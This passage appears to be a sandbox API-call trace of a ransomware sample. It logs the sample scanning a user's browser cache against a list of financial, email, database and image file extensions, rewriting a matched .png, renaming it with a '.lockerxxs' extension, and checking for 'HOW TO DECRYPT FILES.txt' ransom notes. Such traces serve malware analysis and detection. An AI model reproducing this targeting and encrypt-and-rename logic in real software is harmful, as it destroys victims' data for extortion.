halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.166] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBDk44m[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.ems") returned 0 [0083.166] lstrlenA (lpString="*.ems") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.db") returned 0 [0083.166] lstrlenA (lpString="*.db") returned 4 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.dbf") returned 0 [0083.166] lstrlenA (lpString="*.dbf") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.myox") returned 0 [0083.166] lstrlenA (lpString="*.myox") returned 6 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.myo") returned 0 [0083.166] lstrlenA (lpString="*.myo") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qbw") returned 0 [0083.166] lstrlenA (lpString="*.qbw") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qbb") returned 0 [0083.166] lstrlenA (lpString="*.qbb") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qbm") returned 0 [0083.166] lstrlenA (lpString="*.qbm") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qbo") returned 0 [0083.166] lstrlenA (lpString="*.qbo") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qbx") returned 0 [0083.166] lstrlenA (lpString="*.qbx") returned 5 [0083.166] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qba") returned 0 [0083.166] lstrlenA (lpString="*.qba") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qby") returned 0 [0083.167] lstrlenA (lpString="*.qby") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qbj") returned 0 [0083.167] lstrlenA (lpString="*.qbj") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.ofx") returned 0 [0083.167] lstrlenA (lpString="*.ofx") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.qif") returned 0 [0083.167] lstrlenA (lpString="*.qif") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.mye") returned 0 [0083.167] lstrlenA (lpString="*.mye") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.mbox") returned 0 [0083.167] lstrlenA (lpString="*.mbox") returned 6 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.eml") returned 0 [0083.167] lstrlenA (lpString="*.eml") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.pst") returned 0 [0083.167] lstrlenA (lpString="*.pst") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.ost") returned 0 [0083.167] lstrlenA (lpString="*.ost") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.idx") returned 0 [0083.167] lstrlenA (lpString="*.idx") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.dbx") returned 0 [0083.167] lstrlenA (lpString="*.dbx") returned 5 [0083.167] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.sql") returned 0 [0083.167] lstrlenA (lpString="*.sql") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.mdb") returned 0 [0083.168] lstrlenA (lpString="*.mdb") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.fdb") returned 0 [0083.168] lstrlenA (lpString="*.fdb") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.wab") returned 0 [0083.168] lstrlenA (lpString="*.wab") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.dat") returned 0 [0083.168] lstrlenA (lpString="*.dat") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.txt") returned 0 [0083.168] lstrlenA (lpString="*.txt") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.jpeg") returned 0 [0083.168] lstrlenA (lpString="*.jpeg") returned 6 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.jpg") returned 0 [0083.168] lstrlenA (lpString="*.jpg") returned 5 [0083.168] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", pszSpec="*.png") returned 1 [0083.168] lstrlenA (lpString="*.png") returned 5 [0083.168] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" [0083.168] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" [0083.168] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png." [0083.168] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.lockerxxs" [0083.168] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.170] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x284 [0083.170] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xbe399c90, dwHighDateTime=0x1d2faf2), lpLastAccessTime=0x407536*(dwLowDateTime=0xbe399c90, dwHighDateTime=0x1d2faf2), lpLastWriteTime=0x40753e*(dwLowDateTime=0xbe399c90, dwHighDateTime=0x1d2faf2)) returned 1 [0083.170] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.170] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x25e, lpOverlapped=0x0) returned 1 [0083.172] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png") returned="BBDk44m[1].png" [0083.172] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.172] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x25e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x25e, lpOverlapped=0x0) returned 1 [0083.173] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.173] CloseHandle (hObject=0xa4) returned 1 [0083.173] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbdk44m[1].png.lockerxxs")) returned 1 [0083.174] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a6bd70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a6bd70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a6bd70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2d04, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBDWXoC[1].jpg", cAlternateFileName="BBDWXO~1.JPG")) returned 1 [0083.174] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.174] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBDWXoC[1].jpg") returned 1 [0083.174] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBDWXoC[1].jpg") returned 1 [0083.174] lstrcmpiA (lpString1="", lpString2="BBDWXoC[1].jpg") returned -1 [0083.174] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDk44m[1].png") returned="BBDk44m[1].png" [0083.174] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" [0083.174] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\") returned="" [0083.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" [0083.174] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\how to decrypt files.txt")) returned 0x2020 [0083.174] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\", lpString2="BBDWXoC[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg" [0083.174] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.ems") returned 0 [0083.174] lstrlenA (lpString="*.ems") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.db") returned 0 [0083.175] lstrlenA (lpString="*.db") returned 4 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.dbf") returned 0 [0083.175] lstrlenA (lpString="*.dbf") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.myox") returned 0 [0083.175] lstrlenA (lpString="*.myox") returned 6 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.myo") returned 0 [0083.175] lstrlenA (lpString="*.myo") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qbw") returned 0 [0083.175] lstrlenA (lpString="*.qbw") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qbb") returned 0 [0083.175] lstrlenA (lpString="*.qbb") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qbm") returned 0 [0083.175] lstrlenA (lpString="*.qbm") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qbo") returned 0 [0083.175] lstrlenA (lpString="*.qbo") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qbx") returned 0 [0083.175] lstrlenA (lpString="*.qbx") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qba") returned 0 [0083.175] lstrlenA (lpString="*.qba") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qby") returned 0 [0083.175] lstrlenA (lpString="*.qby") returned 5 [0083.175] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qbj") returned 0 [0083.176] lstrlenA (lpString="*.qbj") returned 5 [0083.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.ofx") returned 0 [0083.176] lstrlenA (lpString="*.ofx") returned 5 [0083.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.qif") returned 0 [0083.176] lstrlenA (lpString="*.qif") returned 5 [0083.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.mye") returned 0 [0083.176] lstrlenA (lpString="*.mye") returned 5 [0083.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.mbox") returned 0 [0083.176] lstrlenA (lpString="*.mbox") returned 6 [0083.176] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.eml") returned 0 [0083.176] lstrlenA (lpString="*.eml") returned 5 [0083.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.pst") returned 0 [0083.190] lstrlenA (lpString="*.pst") returned 5 [0083.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.ost") returned 0 [0083.190] lstrlenA (lpString="*.ost") returned 5 [0083.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.idx") returned 0 [0083.190] lstrlenA (lpString="*.idx") returned 5 [0083.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.dbx") returned 0 [0083.190] lstrlenA (lpString="*.dbx") returned 5 [0083.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.sql") returned 0 [0083.191] lstrlenA (lpString="*.sql") returned 5 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.mdb") returned 0 [0083.191] lstrlenA (lpString="*.mdb") returned 5 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.fdb") returned 0 [0083.191] lstrlenA (lpString="*.fdb") returned 5 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.wab") returned 0 [0083.191] lstrlenA (lpString="*.wab") returned 5 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.dat") returned 0 [0083.191] lstrlenA (lpString="*.dat") returned 5 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBDWXoC[1].jpg", pszSpec="*.txt") returned 0 [0083.191] lstrlenA (lpString="*.txt") returned 5 [0083.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 